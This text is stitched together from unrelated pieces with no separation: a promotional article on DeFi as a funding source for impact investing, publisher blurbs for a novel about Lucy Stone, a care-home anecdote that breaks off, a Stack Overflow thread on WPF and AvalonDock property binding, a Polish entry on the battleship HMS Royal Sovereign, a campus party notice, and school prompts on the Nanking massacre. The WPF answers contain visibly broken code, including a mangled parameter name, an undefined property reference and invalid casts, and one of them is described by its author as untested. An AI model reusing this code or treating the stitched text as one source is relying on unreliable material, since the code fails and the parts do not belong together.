"Impact investors' motivations stand at the root of the industry's development. Unsurprisingly, the top three reasons for making impact investments all concern impact. Nearly all respondents (87%) consider both 'impact being central to their mission' and 'their commitment as responsible investors' as 'very important' motivations. Furthermore, 81% believe that impact investing is an efficient way to achieve impact goals."
What if we were the saviors we're waiting for?
Impact investing, despite its potential, is still considered a niche asset class.
Despite impact investing's stellar rise, there is currently a $7 trillion annual SDG financing gap. On paper, these are clinical figures, easy to brush aside as 'just another big number'. But consider what failing at the SDGs implies: A world in which access to food, electricity, clean water and sanitation, gainful employment, and gender equality, to name but a few of the pressing issues society has yet to solve. By 2040, this gap could run a yearly deficit as high as $15 trillion. Add in the tremendous pressure on national monetary systems brought about by the Covid-19 pandemic that threatens to decimate already struggling economies and it's a recipe for even bigger problems than those we already can't handle.
To many in the global society, in the throes of late capitalism, it's clear that social change happens not through aid but via industry. Commercialize a problem and it's not long before an entire industry pops up around the solution. That's why the Sustainable Development Goals (SDGs) are increasingly on the agenda at boardroom tables, especially as we race against mitigating the effects of climate change hurtling towards us. When it comes to the environment, the hands that bite (industrial pollution) seem destined to, ironically, be the hands that save, as large corporations rally together to "Go green". However, the green in "eco" stimulates the green in "washing", and in a stranglehold cycle, sustainability can also act as a thin layer of veneer atop marketing strategies meant to capture (or recapture) a new consumer generation demanding value-driven brands that prioritize the environment and an overarching sense of social responsibility.
The rapid expansion of DeFi creates a new wave of investors that interact with the financial services sector devoid of intermediaries. By decentralizing finance, private money — especially at the retail level — is rising in prominence to a scale hitherto unseen. Establishing a direct line between two parties thanks to trustless smart contracts frees up costs typically collected by banks and other financial services providers. This, as it turns out, may open up a whole new funding model for impact creation.
According to Jason Fernandes, crypto analyst and Chief Business Officer at NFT Technologies:
"Tokenized ESG investments in the form of Defi could free up access to capital for impact and ESG investing. We saw this happen recently when crypto investors worldwide donated vast amounts of cryptocurrency in order to fund Covid relief efforts in India and it's only a matter of time before this model is replicated across other verticals in the ESG space."
Could the answer to some of the world's most pressing funding issues lie not in governmental and institutionalized salvation but instead the market-disrupting decentralized technologies that bring about empowered peer-to-peer (P2P) assistance?
DeFi and the quest for meaning
DeFi is known for its liquidity. Even during the Q2 bear market in 2021, DeFi's Total Value Locked (TVL) still rose by 13%. At the time of writing, the TVL is shy of $107 billion.
However, Kyle White, angel investor and COO of DeFi liquidity ecosystem Atom Foundation, believes that liquidity alone doesn't qualify an idea, saying:
"When concepts are placed on the blockchain they don't inherently have liquidity. It takes an engaged community wanting to create a better future or from solid game theory tokenomics."
While great strides are being made by a variety of projects to explore, expand, and solidify the potential DeFi can bring to the market, little attention is placed on using the potential of DeFi as a vehicle for social good. From a Maslovian perspective, DeFi's development has yet to reach the little-known pinnacle psychologist Abraham Maslow conceived for his famous pyramid. In the year before his death, Maslow would add a new dimension to his Hierarchy of Needs, realizing that the penultimate of human development was not self-actualization, but self-transcendence. Typically, as a market matures, a Self-first approach is gradually expanded to include a Self-and-Other philosophy.
Miko Matsumura, General Partner at Gumi Cryptos and co-founder of crypto exchange Evercoin, believes that it's a matter of time:
"The promise of DeFi for ESG is there, but thus far the leading-edge applications have been in financial services. Adoption is fast but it's still early."
The question is whether we can afford to wait out the natural evolution of the industry, at a time when social inequalities and the effects of climate change are ravishing communities around the world. Blockchain and crypto have always positioned itself as a radically inclusive solution that sidesteps the strict social and financial hierarchies put in place by a systemic organization of power that's hundreds of years old.
What's needed in the DeFi space is the commercialization of SDG solutions by leveraging private money to enable DeFi investors to contribute to problem-solving at scale through liquidity (via protocols) and technical (via blockchain) that other solutions simply can't match.
Speaking to the funding gap, Tarusha Mittal, co-founder and COO of Oropocket and UniFarm, mimics this sentiment:
"This gap can to a large extent be covered by the newer DeFi protocols that are creating solutions which are more P2P-driven in the loan and financial space, an indirect value that is created because of wealth creation due to the boom in the DeFi space. Companies in the crypto space are becoming slowly more aware of their responsibility towards society at large. The underlying idea is to create solutions which would cater to the unbanked, as well — considering one of the goals is to empower women in terms of their finances and reducing poverty — DeFi works directly here by creating opportunities for people to not just be a part of this unconventional financial system but also actively look at financial freedom as an attainable goal."
Amit Kaushik, Portfolio Manager at quant trading firm SciFeCap and the author of The Crypto Investor maintains that decentralized technology can introduce greater equality to the financial world, stating:
"DeFi can remove biases inherent in lending decisions that are often hard to estimate. The transparency, data integrity, speed, and low cost of DeFi platforms can provide a sustainable platform for micro-finance in the developing world and bring maximum accountability that is impossible with systems where human beings are involved in deciding who gets the credit."
However, with profit-generation — of which there's much to be had thanks to DeFi's meteoric APY returns — still front and center, what steps need to be taken to convert DeFi investors to the sentiment that their investments have the power to fill a gap in impact and ESG that the traditional markets have a hard time compensating for?
This, says Cedric Lehman, co-founder of DeFi impact investing ecosystem Social Impact Network, is precisely what drove the team to create their platform:
"Traditional impact investors generally need to make a hard decision between maximizing profits and making their money work for the greater good. As DeFi investors ourselves, requiring investors to sacrifice APYs isn't a viable option. Instead, we conceptualized Social Impact Network to meet not only the needs of people in underdeveloped countries who lack access to financial services and impact investors who would benefit from eliminating intermediaries, but we're inviting DeFi investors to contribute to make an impact and grow the economies of the world's least developed countries through the same yield farming practices they already do."
In the Disney movie The Sword in the Stone, the wizard Merlin tells a young King Arthur, "It's up to you how far you'll go. If you don't try, you'll never know." In the film, it's prophesied that England shall remain in the Dark Ages until the rightful heir to the throne pulls a magical sword from its anvil. Arthur, an orphan, rises to meet the challenge. Can DeFi bring about the type of social change that governments and the industrial complex have failed to implement?
The emergence of solutions that offer a win-win solution is sowing the first seeds that DeFi, applied to verticals beyond the standard financial services, just might be the missing piece of the puzzle.

Leaving Coy's Hill
Katherine A. Sherbrooke
** A Massachusetts Book Award "Fiction Honor" **
An unforgettable story about the triumphs and travails of a woman unwilling to play by the rules, based on the the remarkable life of pioneering feminist and abolitionist Lucy Stone.
Born on a farm in 1818, Lucy Stone dreamt of extraordinary things for a girl of her time, like continuing her education beyond the eighth grade and working for the abolitionist cause, and of ordinary things, such as raising a family of her own. But when she learns that the Constitution affords no rights to married women, she declares that she will never marry and dedicates her life to fighting for change.
At a time when it is considered promiscuous for women to speak in public, Lucy risks everything for the anti-slavery movement, her powerful oratory mesmerizing even her most ardent detractors as she rapidly becomes a household name. And when she begins to lecture on the "woman question," she inspires a young Susan B. Anthony to join the movement. But life as a crusader is a lonely one.
When Henry Blackwell, a dashing and forward-thinking man, proposes a marriage of equals, Lucy must reconcile her desire for love and children with her public persona and the legal perils of marriage she has long railed against. And when a wrenching controversy pits Stone and Anthony against each other, Lucy makes a decision that will impact her legacy forever.
Based on true events, Leaving Coy's Hill is a timeless story of women's quest for personal and professional fulfillment within society's stubborn constraints. And as an abolitionist and women's rights activist fighting for the future of a deeply divided country, Lucy Stone's quest to live a life on her own terms is as relevant as ever. In this "propulsive," "astonishing," and "powerful" story, Katherine Sherbrooke brings to life a true American heroine for a new generation.

"A staunch activist in the fight for women's rights who got her start among New England's abolitionists, [Lucy Stone] has been overshadowed in the historical record by Elizabeth Cady Stanton and Susan B. Anthony…Katherine A. Sherbrooke's Leaving Coy's Hill aims to revive interest in Stone by dramatizing her dogged attempts to support herself and her causes on the lecture circuit — and her equally dogged attempts to reconcile her professional career with motherhood and a "marriage of equals". New York Times Book Review; Summer Reading 2021
"Lucy Stone's lifelong contribution to both the suffrage and abolitionist causes makes her a fascinating subject for a novel….Leaving Coy's Hill offers the reader the chance to encounter a range of fascinating famous figures from 19th-century America, including Frederick Douglass and Antoinette Blackwell, Stone's sister-in-law and the first woman to be an ordained minister in America." Kate Braithwaite Historical Novels Society
"Leaving Coy's Hill is an important book about an important woman, abolitionist and suffragist, Lucy Stone. Sherbrooke paints a vivid portrait of this often forgotten American figure who inspired a nation to think differently about women's rights. Unforgettable and unputdownable, this novel will remain in memory long after the last page has been turned." Crystal King, author of FEAST OF SORROW and THE CHEF'S SECRET
"What could be more timely than Sherbrooke's gorgeously fictionalized and page-turning account of Lucy Stone, the first woman in Massachusetts to earn a college degree, to keep her maiden name, and to fight for women's rights? A stunning look at timeless issues—how we navigate motherhood and career, marriage or staying single, and how we create change in a world that seems to have gone crazy, all told through the lens of one extraordinary heroine." Caroline Leavitt, New York Times Bestselling author of Pictures of You and With or Without You
"Sherbrooke brings Lucy Stone back to life with this passionate and inspiring novel that lays bare the enduring struggle to steer between love and career, and the fight to challenge the people and laws holding us back. Timeless and stunning, Leaving Coy's Hill reminds us to fight, to love and to appreciate the power of passion - passion for ideas, people, and women's rights." Rachel Barenbaum, author of A BEND IN THE STARS
"This propulsive and astonishing story transported me to another era while compelling me to think deeply about questions that are as relevant today as they were in the 1800s: What is equality? What will we sacrifice for our principles? What makes a person whole? Immersed in stunning detail and evocative voices from the past, I came to deeply respect Lucy Stone's tenacity, admire her passion and eloquence—and love her for her humility and her lasting power. A beautiful story that shines a powerful light on values we still struggle to realize and uphold." Katrin Schumann, author of This Terrible Beauty and The Forgotten Hours
"Sherbrooke taps into the current moment with authenticity and vulnerability, outrage and heartbreak. You'll shake your head and raise your fist as Lucy Stone, suffragist and abolitionist, fights maddeningly familiar battles—for pay and property, for physical safety and bodily autonomy, for universal rights and freedoms, and to etch her own name into the history books and prove she is no one's relic. Leaving Coy's Hill is deeply moving and profoundly relevant." Susan Bernhard, author of Winter Loon
"A powerful and stirring portrait of one of the most influential women in the equal rights movement. Thanks to Sherbrooke's skillful storytelling, Lucy Stone is no less inspiring today than she was 170 years ago. Don't be surprised if you find yourself ready to march!" Isla Morley, author of THE LAST BLUE and COME SUNDAY
"With incredible elegance and insight, Leaving Coy's Hill strikes a perfect balance between historical setting and a rendering of the inner woman. I delighted in Lucy's character, her quirks, ambition, loves, as well as her friendships and connectedness to important figures of the time. While Leaving Coy's Hill illuminates the timeless female struggle for equality, tight roping career and motherhood, and achieving financial independence, its crowning achievement is an authentic, poetic voice. Sherbrooke's language set the clocks back a hundred and fifty years with its soothing, measured cadence. Clear your calendar for this one, it's an impossible-to-put-down, must read."
Jeanne McWilliams Blasberg, author of EDEN and THE NINE
"Powerful and moving, Leaving Coy's Hill deftly examines the lifelong ambitions and friendships of abolitionist and suffragist Lucy Stone as she balances family and work, personal pain and public responsibilities, the strong pull of home and the prohibitive demands of the road. With an acute sense of place and an assured hand, Sherbrooke gives Lucy Stone the exposition and recognition she deeply deserves while bringing to light buried truths about the underbelly of the women's rights movement in the United States. A beautiful meditation on advocacy and courage with a heroine who is impossible to forget."
Marjan Kamali, author of The Stationery Shop and Together Tea
"Leaving Coy's Hill is both an intimate, urgent confession by a mother to a daughter and a powerful corrective to the biography of one of our country's most consequential yet under appreciated reformers. Katherine Sherbrooke has brought the daring, dauntless, silver-throated Lucy Stone to vivid life, giving us a thoroughly modern heroine whose bold vision has still yet to be fully realized more than a hundred years after her passing. An inspiring, provocative read."
Christopher Castellani, author of Leading Men

I was sitting at a table in a long term care residence, waiting for a bingo game to start.
On my right was a very old woman in a wheelchair who always brought a stuffed toy rabbit around with her. She'd often pet the rabbit and try to tell me about it, or she'd talk about other things, but unfortunately I usually couldn't make out what she said. She seemed very sincere when she tried to communicate. Her lips would move slightly, and little puffs of unintelligible sound would come out, but recognizable words were few and far between.
Luckily she didn't seem to be aware that no one could really understand her. And when I responded by smiling and nodding, or by saying something that I feared had no connection to what she'd just tried to communicate to me, she seemed to be satisfied.
A few seconds before the bingo game began her daughter showed up to help her mother with the game, so I didn't end up needing to help her myself.
Instead, I was able to focus most of my attention to the guy on my left. He was a also in a wheelchair but was around my age – much younger than most of the residents.

Q: Update Normal Property in Dependency property/AttachedProperty, I am trying to bind a normal property of AvalonDock,

xmlns:xcad="http://schemas.xceed.com/wpf/xaml/avalondock"

 <xcad:LayoutAnchorable Title="Folder" CanHide="{Binding IsHideExplorerView}">
      <Views:ExplorerView DataContext="{Binding ExplorerViewModel}"/>
 </xcad:LayoutAnchorable>

Here CanHide is a Normal property, if trying to bind will throw the exception like

A 'Binding' can only be set on a DependencyProperty of a DependencyObject.

My question is, Is it possible any way to make a normal property to override DependencyProperty to make it Bindable.
Edit
Added a class which inherit LayoutAnchorable but PropertyChangedCallback of DependencyProperty Never calls.
 public class ExtendedAnchorableItem : LayoutAnchorable
 {
     public static readonly DependencyProperty IsCanHideProperty =
        DependencyProperty.RegisterAttached("IsCanHide", typeof(bool), typeof(ExtendedAnchorableItem),
            new FrameworkPropertyMetadata((bool)false,
                new PropertyChangedCallback(OnCanHideChanged)));
    public bool IsCanHide
    {
        get { return (bool)GetValue(IsCanHideProperty); }
        set { SetValue(IsCanHideProperty, value);

this.IsVisible = value; // No effect.
             }
    }
    private static void OnCanHideChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
    {
        ((ExtendedAnchorableItem)d).Hide();
    }
  }

XAML
 <xcad:LayoutAnchorablePane>
     <Utility:ExtendedAnchorableItem IsCanHide="{Binding IsHideExplorer}">
         <Views:ExplorerView DataContext="{Binding ExplorerViewModel}"/>
      </Utility:ExtendedAnchorableItem>
 </xcad:LayoutAnchorablePane>

Similarly i have tried creating an AttachedProperty which can hook it to LayoutAnchorable but PropertyChangedCallback Never get called click here for a new question i have posted.
Any Help guys ?

A: I did and example previously in my case i need to create new button with 2 images one when the button is available and the other one when it's disabled, to do that first i created new user control named "MyButton" my xaml was like this
<Button ToolTip="{Binding ButtonLabel,RelativeSource={RelativeSource AncestorType=UserControl,Mode=FindAncestor},UpdateSourceTrigger=PropertyChanged}"
                Command="{Binding ButtonCommand,RelativeSource={RelativeSource AncestorType=UserControl,Mode=FindAncestor},UpdateSourceTrigger=PropertyChanged}"
                Cursor="Hand" VerticalAlignment="Center" >
            <Button.Template>
                <ControlTemplate>
                    <Grid>
                        <Grid.ColumnDefinitions>
                            <ColumnDefinition Width="45"/>
                            <ColumnDefinition Width="*"/>
                        </Grid.ColumnDefinitions>
                        <Image Name="ButtonImage" IsEnabled="{Binding Path=IsEnabled,RelativeSource={RelativeSource AncestorType=Button,Mode=FindAncestor}}"  >
                            <Image.Style>
                                <Style TargetType="{x:Type Image}">
                                    <Style.Triggers>
                                        <Trigger Property="IsEnabled" Value="True">
                                            <Setter Property="Source" Value="{Binding ActiveImage,RelativeSource={RelativeSource AncestorType=UserControl,Mode=FindAncestor},UpdateSourceTrigger=PropertyChanged}"/>
                                        </Trigger>
                                        <Trigger Property="IsEnabled" Value="False">
                                            <Setter Property="Source" Value="{Binding DeactiveImage,RelativeSource={RelativeSource AncestorType=UserControl,Mode=FindAncestor},UpdateSourceTrigger=PropertyChanged}"/>
                                        </Trigger>
                                    </Style.Triggers>
                                </Style>
                            </Image.Style>
                        </Image>
                        <Label Name="LabelContent" Content="{Binding ButtonLabel,RelativeSource={RelativeSource AncestorType=UserControl,Mode=FindAncestor},UpdateSourceTrigger=PropertyChanged}"
                       Grid.Column="1" IsEnabled="{Binding Path=IsEnabled,RelativeSource={RelativeSource AncestorType=Button,Mode=FindAncestor}}" VerticalContentAlignment="Center"  />
                    </Grid>
                </ControlTemplate>
            </Button.Template>
        </Button>

then i added dependency Properties for ActiveImage and DeactiveImage using this code
public static  DependencyProperty activeImage =
           DependencyProperty.Register("ActiveImage", typeof(type of this property like  "string"), typeof(type of the custom control that you need like  "MyButton"), new FrameworkPropertyMetadata("", FrameworkPropertyMetadataOptions.BindsTwoWayByDefault));

        public string ActiveImage
        {
            get { return (string)GetValue(activeImage); }
            set { SetValue(activeImage, value); }
        }

then i used this new control in my project
<custom:MyButton ButtonCommand="{Binding DecreaseImagesCount}" ButtonLabel="ZoomIn" ActiveImage="/Images/ActiveImages/ZoomIn.png" DeactiveImage="/Images/GrayImages/ZoomIn.png"
                                             Grid.Column="2" Margin="3,4" />

notice that i can do binding the path for Button Image now

A: If it is enough for you to just set that property from your view model then you could use an attached behavior.
Just create a new class and add an attached property like this (I did not really test this, since I actually do not have AvalonDock at hand, but you should get the idea):
public class YourBehavior
{
    public static readonly DependencyProperty YourCanHideProperty = DependencyProperty.RegisterAttached(
                "YourCanHide",
                typeof(bool),
                typeof(LayoutAnchorable),
                new PropertyMetadata(YourCanHidePropertyChanged));

    private static void YourCanHidePropertyChanged(
        DependencyObject dependencyObject,
        DependencyPropertyChangedEventArgs e)
    {
        LayoutAnchorable control = dependencyObject as LayoutAnchorable;
        if (control != null)
        {
            control.CanHide = e.NewValue as bool;
        }
    }

    public static bool GetYourCanHideProperty(LayoutAnchorablewindow)
    {
        return window.GetValue(YourProperty) as bool?;
    }

    public static void SetYourCanHideProperty(LayoutAnchorable control, bool value)
    {
        window.SetValue(YourProperty, value);
    }
}

Now you should be able to use that behavior like this:
<xcad:LayoutAnchorable Title="Folder" namespacealias:YourBehavior.YourCanHideProperty="{Binding IsHideExplorerView}"/>

If you want to have it working in both directions just check out the attached Blend behaviors.

A: Yes, you can do it.. you need to implement INotifypropertyChanged interface and raise a ProprtyChanged Event  inside the property setter. After changing the property to a DependencyProperty, you will get the notification mechanism, so the property change is propagated to the target (in this case xcad) .
you can find lot of examples implementing the INotifyPropertyChanged..

HMS Royal Sovereign – brytyjski pancernik z przełomu XIX i XX wieku. Był pierwszym okrętem swojego typu. Był to piąty okręt Royal Navy noszący tę nazwę.

Konstrukcja
Pancerniki typu Royal Sovereign zostały zaprojektowane przez sir Williama White'a. W momencie oddania do służby były najpotężniejszymi okrętami wojennymi na świecie.

HMS "Royal Sovereign" posiadał artylerię główną kalibru 343 mm rozmieszczoną w dwóch dwudziałowych barbetach. Artyleria średnia składała się z 10 dział kalibru 152 mm, a lekka z 16 dział 57 mm i 12 dział 47 mm. Pancernik posiadał także siedem wyrzutni torpedowych (pięć nawodnych i dwie poniżej linii wodnej). Opancerzenie miało grubość 457 mm w pasie głównym, zmniejszając się po stronie dziobowej i rufowej do 356 mm, a w pasie górnym wynosiło od 102 do 76 mm.

W momencie oddania do służby rozwijał prędkość maksymalną 17,5 węzła, co czyniło go nie tylko najpotężniejszym, ale i najszybszym pancernikiem na świecie.

Okręt miał wysoką wolną burtę, co poprawiało jego walory morskie przy znacznej masie. Początkowo jednak nadmiernie kołysał się na wzburzonym morzu, co zostało skorygowane przez zamontowanie stępki przechyłowej w latach 1894-1895.

W latach 1903-1904 przeszedł modernizację, podczas której zostały usunięte nawodne wyrzutnie torpedowe, a działa 152 mm na górnym pokładzie zostały umieszczone w kazamatach.

Historia służby
Stępkę pod budowę HMS "Royal Sovereign" położono 30 września 1889 roku w stoczni Portsmouth Dockyard. Wodowanie miało miejsce 26 lutego 1891 roku (matką chrzestną była królowa Wiktoria), wejście do służby 31 maja 1892 roku.

Rozpoczął swą służbę jako okręt flagowy Floty Kanału. W 1892 i 1893 roku brał udział w manewrach Royal Navy. Był jednym z okrętów, który uświetnił otwarcie Kanału Kilońskiego w czerwcu 1895 roku. W kolejnych latach brał udział w manewrach floty, a od września 1897 roku do sierpnia 1902 roku służył we Flocie Śródziemnomorskiej.

9 listopada 1901 roku doszło na nim do rozerwania jednego z dział kalibru 152 mm, wskutek niewłaściwego domknięcia zamka. Zginął 1 oficer i 5 marynarzy, a 20 ludzi (w tym 1 oficer) zostało rannych.

Od 1902 roku pływał w składzie Home Fleet, przemianowanej w 1905 roku na Flotę Kanału. W latach 1903-1904 przeszedł intensywny remont. Od roku 1909 przebywał w rezerwie, a w październiku 1913 roku został sprzedany na złom do Włoch.

On Wednesday, 19th December PHBS UK hosted a wonderful Christmas party for staff, students and a variety of people and organisations we have had the pleasure to work with. It was a great event with Jason, our food maestro, providing us with a feast of both Chinese and English delicacies. A festive photo booth was in action providing great props for some excellent festive photoshoot enjoyed by staff and students alike! It was a fantastic occasion for students to engage with people who have been integral in building and designing certain parts of the PHBS UK Campus (the new glass atrium, for example) and hearing a lot more about the beginning and journey of these ideas and the further plans to develop the campus. Overall, it was a wonderful event to bring 2018 at PHBS UK to a close, we wish all our student lovely and safe winter breaks wherever they may be spending them and we look forward to welcoming you all back in 2019!

Here are other points that you might consider touching on in your group work:
How long had Japan and China been at war before the capture of Nanking?
Was there a Chinese resistance movement in the city during the Japanese occupation?
What role did foreigners play in Nanking during Japanese control of the city?
Were the Japanese ever held accountable for their actions in Nanking?
Was there a long history of less-than-good relations between China and Japan?
What role (if any) did Japanese culture play in provoking the genocide?
The Nanking massacre occurred towards the end of the year 1937, in the capital of China, Nanking.
The Japanese soldiers conducted massive killings and rapes on thousands of people, including soldiers and civilians. The records on people killed during this massacre were destroyed after the surrender……………………
